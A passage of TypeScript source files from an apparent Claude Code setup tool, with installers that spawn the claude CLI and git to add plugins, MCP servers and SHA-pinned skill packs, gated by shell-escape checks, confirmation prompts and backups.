'object') return false\n // Try exact key first (defensive — some manifests pass full <name>@<mkt>).\n if (Object.hasOwn(plugins, pluginName)) return true\n // Otherwise scan for any key whose `<name>@<mkt>` prefix matches.\n return Object.keys(plugins).some((k) => k.split('@')[0] === pluginName)\n}\n","// Phase 5.1 W0 T0.3 — extract runArgs helper (#BF MED carry-forward 4-phase discharge).\n// Identical implementation existed in mcpStdioAdd.ts L40 + mcpHttpAdd.ts L47 +\n// ccPluginMarketplace.ts L49; extracted here to eliminate 3-way duplication.\n//\n// IMPL NOTE: Win routes through cmd.exe /c because `claude` ships as a .cmd shim.\n// Unix spawns the binary directly (no shell) — args remain unparsed. This matches\n// the established cross-OS pattern across all 3 call sites verbatim.\n\nimport { spawn } from 'node:child_process'\n\nexport interface ProcResult {\n exitCode: number\n stderr: string\n}\n\nexport function runArgs(\n claudeArgs: string[],\n cwd: string,\n timeoutMs = 15_000,\n): Promise<ProcResult> {\n return new Promise((resolve) => {\n // Win: route through cmd.exe /c because `claude` ships as a .cmd shim.\n // Unix: spawn the binary directly (no shell) — args remain unparsed.\n const isWin = process.platform === 'win32'\n const child = isWin\n ? spawn('cmd.exe', ['/c', 'claude', ...claudeArgs], { cwd, windowsHide: true })\n : spawn('claude', claudeArgs, { cwd, shell: false })\n let stderr = ''\n child.stderr?.setEncoding('utf8').on('data', (c: string) => {\n stderr += c\n })\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({ exitCode: -1, stderr: `${stderr}[timeout after ${timeoutMs}ms]` })\n }, timeoutMs)\n child.on('error', (e) => {\n clearTimeout(timer)\n resolve({ exitCode: -1, stderr: `${stderr}${e.message}` })\n })\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ exitCode: code ?? -1, stderr })\n })\n })\n}\n","// v3.0.2 hotfix — homedir-rooted spawn cwd for MCP / plugin installers.\n//\n// Problem: `claude mcp add --scope project <...>` writes `.mcp.json` to the\n// spawn cwd. When user launches `harnessed setup` from a read-only directory\n// (e.g. PowerShell default CWD `C:\\Windows\\System32`), the write fails with:\n// `EPERM: operation not permitted, rename 'C:\\Windows\\System32\\.mcp.json.tmp...'`\n// blocking all MCP installers (chrome-devtools-mcp / exa-mcp / tavily-mcp).\n//\n// Solution: sister v2.0.1 `getBackupRoot()` (src/installers/lib/backup.ts:32)\n// pattern verbatim — root MCP/plugin spawn cwd at homedir() unconditionally,\n// not at process.cwd(). homedir() is reliably writable on Win/Mac/Linux.\n// User can still see `.mcp.json` in their home and `claude mcp list` works\n// because the registration is keyed by the absolute path Claude Code reads.\n//\n// Why unconditional (no probe + fallback)? Sister v2.0.1 backup-root migration\n// is unconditional — `getBackupRoot()` always returns `~/.harnessed/backups/`,\n// regardless of whether ctx.cwd is writable. Symmetric semantics: harness-\n// owned writes go under the user's home, not transient terminal CWDs.\n\nimport { homedir } from 'node:os'\n\n/**\n * Return the homedir-rooted spawn cwd used by `claude mcp add` /\n * `claude plugin install` so that `.mcp.json` / `.claude/settings.json`\n * writes land in a path the user reliably owns. Unconditional — does NOT\n * fall back to ctx.cwd.\n *\n * Sister: `src/installers/lib/backup.ts:32` `getBackupRoot()` v2.0.1.\n */\nexport function getMcpSpawnCwd(): string {\n return homedir()\n}\n","// Phase 2.1 install method 5/6 — cc-plugin × cc-plugin-marketplace per ADR\n// 0004 § 5 + ADR 0005 + ADR 0010 errata D-20.\n//\n// v3.0.2 hotfix (scope flip): `--scope project` → `--scope user`. Sister\n// mcpStdioAdd v3.0.2 reasoning — write to ~/.claude.json user-global config\n// (CWD-independent) instead of <cwd>/.claude/settings.json (EPERMs in\n// read-only CWD). CC #54803 user-scope-broken bug has been resolved.\n//\n// IMPL NOTE (Rule 1): hardcoded `--scope user` for `plugin install` step\n// cannot be overridden by manifest fields; the manifest cmd string is\n// informational; we authoritatively reconstruct args[].\n//\n// IMPL NOTE (Rule 1 / D-20 idempotency): Two sequential spawns:\n// Step 1: `claude plugin marketplace add <url>`\n// Step 2: `claude plugin install <plugin>@<marketplace> --scope project`\n// Step-1 non-zero exit is non-fatal IF step-2 succeeds — marketplace already\n// being registered is a benign state (\"already exists\" is the most common\n// step-1 failure on re-install). We do NOT pre-probe `marketplace list`\n// (extra spawn, extra failure surface); we let step-2 decide.\n//\n// IMPL NOTE (Rule 1 / parse install.cmd): the install method schema does not\n// carry typed `marketplace_url`/`marketplace_name`/`plugin_name` fields (it\n// has only cmd + git_ref + idempotent_check + optional marketplace_source).\n// We parse the manifest cmd which is the user-facing audit-trail string,\n// matching the architectural discipline already established by mcpStdioAdd\n// (cmd is informational; args reconstructed authoritatively).\n//\n// IMPL NOTE (Rule 1 / H2 sister review fix): re-screen each constructed arg\n// before spawn — same defense-in-depth posture as mcpStdioAdd/mcpHttpAdd.\n//\n// IMPL NOTE (v3.0.3 hotfix — verify reads ~/.claude.json directly): pre-v3.0.3\n// verify spawned `claude plugin list --json` and stdout-matched the plugin\n// name. Same timeout symptom as mcpStdioAdd v3.0.3 (cold-start exceeds 15s\n// after sequential MCP adds). v3.0.3 reads `enabledPlugins` from\n// `~/.claude.json` directly. Sister `readClaudeConfig.isPluginRegistered()`.\n\nimport { checkCmdString } from '../manifest/security.js'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { isPluginRegistered } from './lib/readClaudeConfig.js'\nimport { runArgs } from './lib/runClaudeArgs.js'\nimport { getMcpSpawnCwd } from './lib/safeCwd.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\n// Parse `<plugin>@<marketplace>` and the marketplace URL/owner-repo from the\n// manifest cmd. cmd shape (per real manifests + CC docs):\n// `/plugin marketplace add <owner/repo-or-url> && /plugin install <plugin>@<marketplace>`\n// OR\n// `/plugin install <plugin>@<marketplace>` (marketplace pre-registered)\n// We extract:\n// - marketplaceRef: the token after `marketplace add` (can be owner/repo or URL)\n// - pluginAtMkt: the `<plugin>@<marketplace>` token after `plugin install`\ninterface ParsedCmd {\n marketplaceRef: string | null\n pluginAtMkt: string\n}\nfunction parseCmd(cmd: string): ParsedCmd | null {\n // marketplaceRef\n const mktMatch = cmd.match(/(?:\\/?plugin)\\s+marketplace\\s+add\\s+(\\S+)/i)\n // pluginAtMkt — strip leading slash, strip trailing semicolons/&&\n const pluginMatch = cmd.match(/(?:\\/?plugin)\\s+install\\s+(\\S+)/i)\n if (!pluginMatch || pluginMatch[1] === undefined) return null\n const pluginAtMkt = pluginMatch[1].replace(/[;&]+$/, '')\n if (!pluginAtMkt.includes('@')) return null\n const mktRef = mktMatch && mktMatch[1] !== undefined ? mktMatch[1] : null\n return {\n marketplaceRef: mktRef,\n pluginAtMkt,\n }\n}\n\nexport const installCcPluginMarketplace: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'cc-plugin-marketplace') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installCcPluginMarketplace received non-cc-plugin-marketplace method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n const parsed = parseCmd(install.cmd)\n if (!parsed) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `cc-plugin-marketplace cmd must contain \\`plugin install <plugin>@<marketplace>\\` (parsed from: '${install.cmd.slice(0, 100)}')`,\n 'cc-plugin-shape',\n ),\n suggest:\n 'see manifests/tools/ralph-loop.yaml or manifests/tools/superpowers.yaml for shape',\n },\n }\n }\n const pluginName = parsed.pluginAtMkt.split('@')[0] ?? parsed.pluginAtMkt\n\n // v3.0.2 hotfix: `--scope user` (writes ~/.claude.json) — CWD-independent,\n // EPERM-free in read-only launch dirs. Sister mcpStdioAdd v3.0.2 scope flip.\n const installArgs = ['plugin', 'install', parsed.pluginAtMkt, '--scope', 'user']\n const allArgs: string[][] = []\n if (parsed.marketplaceRef !== null) {\n allArgs.push(['plugin', 'marketplace', 'add', parsed.marketplaceRef])\n }\n allArgs.push(installArgs)\n\n // H2 defense-in-depth — re-screen every arg of every step.\n for (const argSet of allArgs) {\n for (const a of argSet) {\n const violation = checkCmdString(a)\n if (violation) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/cmd',\n `shell escape detected in constructed cc-plugin arg '${a.slice(0, 60)}': ${violation.label} (${violation.hint})`,\n 'security-gate-bypass',\n ),\n }\n }\n }\n }\n\n // v3.0.2: `--scope user` writes ~/.claude.json (user-global enabledPlugins\n // map) instead of <cwd>/.claude/settings.json (project-local). Diff target\n // updated to mirror. No `--dry-run` flag on `claude plugin install` — cmd\n // echo remains the audit trail.\n const settingsFile = `${getMcpSpawnCwd()}/.claude.json`\n const newEntry = JSON.stringify({ enabledPlugins: { [parsed.pluginAtMkt]: true } }, null, 2)\n const plan: DiffPlan = {\n files: [\n {\n target: settingsFile,\n scope: 'HOME',\n oldText: '',\n newText: `// will be merged into ~/.claude.json enabledPlugins map by \\`claude plugin install --scope user\\`:\\n${newEntry}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n // v3.0.2: spawn cwd at homedir() — `--scope user` writes ~/.claude.json\n // regardless of spawn cwd, but the CC CLI may create temp files in cwd;\n // homedir() avoids EPERM when user launches from a read-only CWD.\n const spawnCwd = install.cwd ?? getMcpSpawnCwd()\n\n // Step 1 — marketplace add (D-20: non-zero is non-fatal; step 2 is the decider).\n let stepOneStderr = ''\n if (parsed.marketplaceRef !== null) {\n const r1 = await runArgs(['plugin', 'marketplace', 'add', parsed.marketplaceRef], spawnCwd)\n stepOneStderr = r1.stderr\n // intentional: do not return on r1.exitCode !== 0\n }\n\n // Step 2 — plugin install. This is the authoritative outcome decider.\n const r2 = await runArgs(installArgs, spawnCwd)\n if (r2.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `claude plugin install exited ${r2.exitCode}: ${r2.stderr.slice(0, 200)}${stepOneStderr ? ` | marketplace-add stderr: ${stepOneStderr.slice(0, 100)}` : ''}`,\n 'install-failed',\n ),\n }\n }\n\n // v3.0.3 hotfix: verify reads ~/.claude.json directly via fs (no spawn).\n // Sister mcpStdioAdd v3.0.3 verify rationale.\n const registered = await isPluginRegistered(pluginName)\n if (!registered) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify: plugin '${pluginName}' not found in enabledPlugins map of ~/.claude.json after install spawn exit 0 (file may have been overwritten, or claude plugin install wrote to a non-default location)`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, ctx.manifest.metadata.name, install.git_ref, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [settingsFile] }\n}\n","// Phase 1.2 cross-OS spawn wrapper per ADR 0004 contract 6 + Pattern D + H.\n//\n// IMPL NOTE (Rule 1 / R03 § 3.7): Windows uses `cmd.exe /c <cmd> <args...>`\n// because npm/npx/claude shipped as .cmd shims under Win, and POSIX-style\n// `/bin/sh -c` is unavailable on raw Win (only inside Git-Bash/WSL). Unix\n// uses `/bin/sh -c \"<cmd> <joined-args>\"` so single-string cmds with pipes /\n// redirections still work consistently with what users typed in the manifest.\n//\n// IMPL NOTE (Rule 1 / B1 hotfix defense-in-depth, PATTERNS Pattern D pre-pass):\n// re-run `checkCmdString()` on the cmd right before spawn(). The phase 1.1.1\n// security gate in `validate.ts` already screens manifests, but a future\n// caller (phase 1.4 routing-engine / test harnesses / direct installer use\n// without validate.ts) might hand us an unvalidated cmd. Refuse to spawn\n// shell-escape patterns even at this layer — InstallResult `phase: 'preflight'`\n// + keyword `'security'` returned, never thrown.\n//\n// Pattern C: returns Result-shaped object {ok:true|false} — no throws on\n// expected paths (timeout, non-zero exit, security gate). Unexpected errors\n// (e.g. cmd binary not found / EACCES) bubble out as throws — the caller\n// (installer dispatch) catches and wraps.\n//\n// v3.0.2 hotfix (Windows cold-install timeout): npm-cli installers running\n// `npx --yes <pkg>@<ver> install` need >15s on Windows cold cache (user\n// reported gsd install timing out at 10s/15s). spawnCmd now accepts an\n// explicit `timeoutMs` arg from the caller — installers pass 60_000ms for\n// the install step; verify continues to honor spec.verify.timeout_ms (default\n// 15s) so manifest authors retain control. The pre-v3.0.2 bug: install spawn\n// was reading verify.timeout_ms (cross-purpose; verify-only field) which\n// shortened install timeout to whatever manifest authors set for verify.\n\nimport { type ChildProcess, spawn } from 'node:child_process'\nimport { checkCmdString } from '../../manifest/security.js'\nimport type { InstallContext, InstallResult } from './types.js'\n\nexport const DEFAULT_VERIFY_TIMEOUT_MS = 15_000\n/** v3.0.2: explicit install-step timeout — Windows cold npm/npx cache can\n * exceed 30-45s on first install. 60s default keeps fast-path zippy while\n * not failing legitimate cold installs. */\nexport const DEFAULT_INSTALL_TIMEOUT_MS = 60_000\n\nexport interface SpawnOk {\n ok: true\n exitCode: number\n stdout: string\n stderr: string\n}\n\n/**\n * Spawn `cmd args...` under the platform's default shell with B1 defense-\n * in-depth, env injection, cwd from manifest, and timeout.\n *\n * v3.0.2: `timeoutMs` is now an explicit caller-supplied arg. Pre-v3.0.2\n * read `spec.verify.timeout_ms` for BOTH install and verify spawns — a bug\n * because verify.timeout_ms is verify-only (e.g. gsd manifest sets 10000ms\n * for fast `--version` verify, but install needs >30s on Windows cold cache).\n * Callers now pass the timeout explicitly: installers use\n * DEFAULT_INSTALL_TIMEOUT_MS (60s), verify callers pass\n * `verify.timeout_ms ?? DEFAULT_VERIFY_TIMEOUT_MS` (15s).\n *\n * Returns:\n * - `SpawnOk` on completion (any exit code; caller decides if non-zero\n * means failure based on context — install vs verify vs idempotent_check)\n * - `InstallResult` failure shape on security gate / timeout\n */\nexport async function spawnCmd(\n ctx: InstallContext,\n cmd: string,\n args: string[],\n timeoutMs?: number,\n): Promise<SpawnOk | InstallResult> {\n // 1. B1 defense-in-depth — re-check the literal cmd string for shell escapes.\n const violation = checkCmdString(cmd)\n if (violation) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n file: ctx.manifest.metadata.name,\n path: '/spec/install/cmd',\n message: `shell escape detected at spawn boundary: '${violation.label}' (${violation.hint}) — refusing to execute. v0.1 forbids dynamic shell evaluation; this is a defense-in-depth gate after schema validation.`,\n line: null,\n column: null,\n keyword: 'security-gate-bypass',\n },\n }\n }\n\n // 2. Platform branch — Win cmd.exe vs POSIX /bin/sh.\n const installCfg = ctx.manifest.spec.install\n // v3.0.2: timeoutMs MUST be explicit (back-compat: undefined → 60s install default).\n const effectiveTimeoutMs = timeoutMs ?? DEFAULT_INSTALL_TIMEOUT_MS\n const env = { ...process.env, ...(installCfg.env ?? {}) }\n const cwd = installCfg.cwd ?? ctx.cwd\n\n let child: ChildProcess\n if (process.platform === 'win32') {\n child = spawn('cmd.exe', ['/c', cmd, ...args], { cwd, env, windowsHide: true })\n } else {\n const joined = args.length > 0 ? `${cmd} ${args.join(' ')}` : cmd\n child = spawn('/bin/sh', ['-c', joined], { cwd, env })\n }\n\n // 3. Collect stdout/stderr + race against timeout.\n let stdout = ''\n let stderr = ''\n child.stdout?.setEncoding('utf8').on('data', (chunk: string) => {\n stdout += chunk\n })\n child.stderr?.setEncoding('utf8').on('data', (chunk: string) => {\n stderr += chunk\n })\n\n return await new Promise<SpawnOk | InstallResult>((resolve) => {\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({\n ok: false,\n phase: 'spawn',\n error: {\n file: ctx.manifest.metadata.name,\n path: '/spec/install/cmd',\n message: `spawn timed out after ${effectiveTimeoutMs}ms (cmd: ${cmd}); partial stderr: ${stderr.slice(0, 200)}`,\n line: null,\n column: null,\n keyword: 'spawn-timeout',\n },\n })\n }, effectiveTimeoutMs)\n\n child.on('error', (err) => {\n clearTimeout(timer)\n resolve({\n ok: false,\n phase: 'spawn',\n error: {\n file: ctx.manifest.metadata.name,\n path: '/spec/install/cmd',\n message: `spawn failed: ${err.message}`,\n line: null,\n column: null,\n keyword: 'spawn-error',\n },\n })\n })\n\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ ok: true, exitCode: code ?? -1, stdout, stderr })\n })\n })\n}\n","// Phase 2.1 install method 4/6 — cc-skill-pack × git-clone-with-setup per ADR\n// 0004 § 5 + ADR 0007 install_type=git + ADR 0010 errata D-15.\n//\n// IMPL NOTE (Rule 1 / D-15): git_ref HEAD/main/master rejection is ALREADY\n// enforced by preflight.ts (git_ref shape regex). We do NOT re-implement that\n// here. Between spawn and verify we ADD a `git rev-parse HEAD` SHA-match\n// step (inline ≤10 lines per D-15 — only one caller; lib/gitVerify.ts would be\n// YAGNI). Mismatch → InstallError keyword:'sha-mismatch'.\n//\n// IMPL NOTE (Rule 1 / D-1 reuse): every multi-line block delegates to a lib/*\n// helper. This installer is a thin orchestrator; spawnCmd handles cross-OS\n// shell + B1 defense-in-depth in one place. Mirrors npmCli architecture.\n//\n// IMPL NOTE (Rule 1 / pure-create backup): git-clone creates new dirs (does\n// not edit existing files). DiffPlan.files entries use `oldText:''` per the\n// types.ts contract — backup writes a \"pure-create sentinel\" so rollback can\n// `rm -rf` the cloned dir.\n//\n// IMPL NOTE (Rule 1 / strict SHA pin per ADR 0001 版本锁哲学): the schema\n// regex permits SHA(7-40 hex) OR SemVer (v1.2.3); this installer enforces the\n// stricter SHA-only invariant for git_ref because `git rev-parse HEAD` after\n// `git clone --branch <tag>` produces a SHA, and SHA↔tag is not an authority\n// match — the SHA IS the authority. Real manifests already follow this:\n// ui-ux-pro-max.yaml + gstack.yaml both pin full 40-hex SHA. SemVer values\n// reaching this code path are surfaced as an installer-layer error (NOT a\n// silent skip), aligned with ADR 0001's reproducibility requirement.\n\nimport { spawn } from 'node:child_process'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { DEFAULT_INSTALL_TIMEOUT_MS, DEFAULT_VERIFY_TIMEOUT_MS, spawnCmd } from './lib/spawn.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer, InstallResult } from './lib/types.js'\n\n// D-15 inline SHA-verify. Runs `git rev-parse HEAD` in the cloned dir,\n// compares against the manifest's git_ref. Only invoked after a successful\n// clone; called once per install — no lib helper warranted (YAGNI).\nfunction gitRevParseHead(cwd: string, timeoutMs = 10_000): Promise<{ sha: string; exit: number }> {\n return new Promise((resolve) => {\n const isWin = process.platform === 'win32'\n const child = isWin\n ? spawn('cmd.exe', ['/c', 'git', 'rev-parse', 'HEAD'], { cwd, windowsHide: true })\n : spawn('git', ['rev-parse', 'HEAD'], { cwd, shell: false })\n let stdout = ''\n child.stdout?.setEncoding('utf8').on('data', (c: string) => {\n stdout += c\n })\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({ sha: '', exit: -1 })\n }, timeoutMs)\n child.on('error', () => {\n clearTimeout(timer)\n resolve({ sha: '', exit: -1 })\n })\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ sha: stdout.trim(), exit: code ?? -1 })\n })\n })\n}\n\n// Extract the target clone directory from the manifest cmd. Required: we\n// must know the directory to run `git rev-parse HEAD` against post-clone. If\n// the cmd shape can't be parsed, we fail preflight clearly (no silent\n// fallback). Walks `git clone [flags] <url> <dest>` to find <dest>.\nfunction extractCloneTarget(cmd: string): string | null {\n const idx = cmd.indexOf('git clone')\n if (idx < 0) return null\n const tail = cmd.slice(idx + 'git clone'.length).trim()\n const tokens = tail.split(/\\s+/)\n let i = 0\n while (i < tokens.length) {\n const t = tokens[i]\n if (t === undefined || !t.startsWith('-')) break\n if (t === '--depth' || t === '--branch' || t === '-b') {\n i += 2\n } else if (t.includes('=')) {\n i += 1\n } else {\n i += 2\n }\n }\n // tokens[i] is the URL; tokens[i+1] is the dest. End-of-clause guards\n // (&&, ;, |) means the manifest omitted dest — git would default to a\n // repo-name dir in cwd, which is fragile; require explicit dest.\n const dest = tokens[i + 1]\n if (!dest || dest === '&&' || dest === ';' || dest === '|') return null\n if (dest.startsWith('~/')) {\n const home = process.env.HOME ?? process.env.USERPROFILE\n if (!home) return null\n return `${home}${dest.slice(1)}`\n }\n return dest\n}\n\nexport const installGitCloneWithSetup: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'git-clone-with-setup') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installGitCloneWithSetup received non-git-clone-with-setup method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n // Strict SHA-pin (ADR 0001 + D-15). Schema regex permits SemVer too, but\n // this installer enforces the tighter invariant: rev-parse HEAD returns a\n // SHA, so the authority must be a SHA. SemVer git_ref → preflight-layer error.\n if (!/^[a-f0-9]{7,40}$/.test(install.git_ref)) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/git_ref',\n `git-clone-with-setup requires a full SHA git_ref (7-40 hex), got '${install.git_ref}' (ADR 0001 reproducibility — SHA is the only stable authority for git_rev-parse HEAD verification)`,\n 'sha-required',\n ),\n suggest: `pin git_ref to a 40-hex commit SHA from the upstream repo (e.g. \\`git rev-parse <tag-or-branch>\\` in the source)`,\n },\n }\n }\n\n // Parse clone target from cmd. Required for D-15 SHA-verify cwd; fail clear\n // if the manifest cmd shape is unsupported (`git clone <url> <dest>`).\n const cloneTarget = extractCloneTarget(install.cmd)\n if (!cloneTarget) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `git-clone-with-setup cmd does not contain a parseable \\`git clone <url> <dest>\\` invocation; D-15 SHA-verify requires an explicit destination directory`,\n 'git-clone-shape',\n ),\n suggest: 'use `git clone [flags] <url> <dest>` with an explicit destination directory',\n },\n }\n }\n\n // L2 — per-user (~/.claude/skills/<name>/). pure-create DiffPlan:\n // oldText:'' so backup writes a sentinel; rollback = `rm -rf` cloned dir.\n const name = ctx.manifest.metadata.name\n const plan: DiffPlan = {\n files: [\n {\n target: cloneTarget,\n scope: 'HOME',\n oldText: '',\n newText: `// new directory created by: ${install.cmd}\\n// pinned at git_ref ${install.git_ref}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L2', { ...ctx, level: 'L2' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n // Run the manifest cmd as-is (rm + git clone + cp + cleanup pipeline).\n // spawnCmd handles cross-OS shell + B1 re-screen. cmd is single string.\n // v3.0.2: explicit install timeout (60s — git clone over network can exceed 15s).\n const sp = await spawnCmd(ctx, install.cmd, [], DEFAULT_INSTALL_TIMEOUT_MS)\n if (!('exitCode' in sp)) return { ...sp, backupId: bk.backupId } as InstallResult\n if (sp.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `git-clone-with-setup cmd exited ${sp.exitCode}: ${sp.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n\n // D-15 — SHA-verify. `git rev-parse HEAD` in clone target dir; match the\n // manifest git_ref by prefix (git's standard SHA-prefix semantics — a\n // 7-hex prefix is a valid name for the full 40-hex commit).\n const rp = await gitRevParseHead(cloneTarget)\n if (rp.exit !== 0 || !rp.sha) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/git_ref',\n `git rev-parse HEAD failed in ${cloneTarget} (exit ${rp.exit}); cannot verify SHA pin '${install.git_ref}'`,\n 'sha-mismatch',\n ),\n }\n }\n if (!rp.sha.startsWith(install.git_ref)) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/git_ref',\n `git_ref SHA mismatch: manifest pinned '${install.git_ref}' but HEAD is '${rp.sha}' in ${cloneTarget}`,\n 'sha-mismatch',\n ),\n }\n }\n\n // verify cmd (e.g. `test -f ~/.claude/skills/<name>/SKILL.md`).\n // v3.0.2: verify honors spec.verify.timeout_ms (default 15s).\n const verifyTimeoutMs = ctx.manifest.spec.verify.timeout_ms ?? DEFAULT_VERIFY_TIMEOUT_MS\n const vr = await spawnCmd(ctx, ctx.manifest.spec.verify.cmd, [], verifyTimeoutMs)\n if (!('exitCode' in vr)) return { ...vr, backupId: bk.backupId } as InstallResult\n const expected = ctx.manifest.spec.verify.expected_exit_code ?? 0\n if (vr.exitCode !== expected) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify exit ${vr.exitCode} ≠ expected ${expected}: ${vr.stderr.slice(0, 200)}`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, name, install.git_ref, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [cloneTarget] }\n}\n","// Phase 2.1 install method 3/6 — mcp-npm × mcp-http-add per ADR 0004 § 5 + ADR 0010 errata.\n//\n// v3.0.2 hotfix (scope flip): `--scope project` → `--scope user`. Sister\n// mcpStdioAdd.ts v3.0.2 reasoning verbatim — `--scope project` writes\n// `<cwd>/.mcp.json` which EPERMs in read-only CWD (C:\\Windows\\System32);\n// `--scope user` writes `~/.claude.json` user-global, CWD-independent.\n// The pre-v3.0.2 CC #54803 \"user scope broken\" bug has been resolved by the\n// Claude Code team (verified via `claude mcp add --help` 2026-05-21).\n//\n// IMPL NOTE (Rule 1): hardcoded `--scope user` here cannot be overridden by\n// manifest fields — the manifest cmd string is treated as audit-trail only;\n// we authoritatively reconstruct the args array. Mirrors mcpStdioAdd.\n//\n// IMPL NOTE (Rule 1 / D-16 — env-resolution carve-out): `--header` values may\n// carry `${ENV_VAR}` references that look like shell escapes to B1's\n// checkCmdString. We resolve `${VAR}` from `process.env` BEFORE arg\n// construction, so the post-construction B1 re-screen sees plain values only.\n// Unset env var → InstallError keyword:'env-unset' before we touch the network.\n//\n// IMPL NOTE (Rule 1 / D-15 hot path): schema does NOT carry typed `url` or\n// `headers` fields (the install method schema has only cmd/cwd/env/args/\n// npm_version/idempotent_check). We extract the URL and headers by parsing\n// the manifest `install.cmd` string (already B1-screened by schema validate).\n// This matches the architectural discipline of \"cmd is audit-trail; we\n// reconstruct args authoritatively\". Headers parsing is conservative:\n// `--header \"Key: Value\"` (quoted) or `--header Key:\\ Value` (escaped).\n//\n// IMPL NOTE (Rule 1 / H2 sister review fix — defense in depth): bypass\n// lib/spawn.ts (which checks the literal cmd string once via checkCmdString)\n// because our args[] is constructed locally; instead, we re-run\n// checkCmdString on EVERY args[i] right before spawn. Same posture as\n// mcpStdioAdd.\n//\n// IMPL NOTE (v3.0.3 hotfix — verify reads ~/.claude.json directly): mirrors\n// mcpStdioAdd v3.0.3 — drop spawn-based verify in favor of fs-based check\n// against the authoritative `mcpServers` map.\n\nimport { checkCmdString } from '../manifest/security.js'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { isMcpServerRegistered } from './lib/readClaudeConfig.js'\nimport { runArgs } from './lib/runClaudeArgs.js'\nimport { getMcpSpawnCwd } from './lib/safeCwd.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\n// D-16 — resolve ${ENV_VAR} placeholders from process.env BEFORE arg\n// construction. Returns either the resolved value or throws-style {error}.\n// Result `{ ok: false, missing: string }` lets the caller emit a clear\n// InstallError with keyword:'env-unset' (single-cause failure, no fallback).\nfunction resolveEnvVars(\n value: string,\n): { ok: true; resolved: string } | { ok: false; missing: string } {\n const pattern = /\\$\\{([A-Z_][A-Z0-9_]*)\\}/g\n let resolved = value\n let match: RegExpExecArray | null\n pattern.lastIndex = 0\n // biome-ignore lint/suspicious/noAssignInExpressions: standard regex walk\n while ((match = pattern.exec(value)) !== null) {\n const name = match[1]\n if (name === undefined) continue\n const v = process.env[name]\n if (v === undefined || v === '') {\n return { ok: false, missing: name }\n }\n resolved = resolved.replace(match[0], v)\n }\n return { ok: true, resolved }\n}\n\n// Parse `--header \"Key: Value\"` (quoted) or `--header Key:Value` tokens out of\n// the manifest 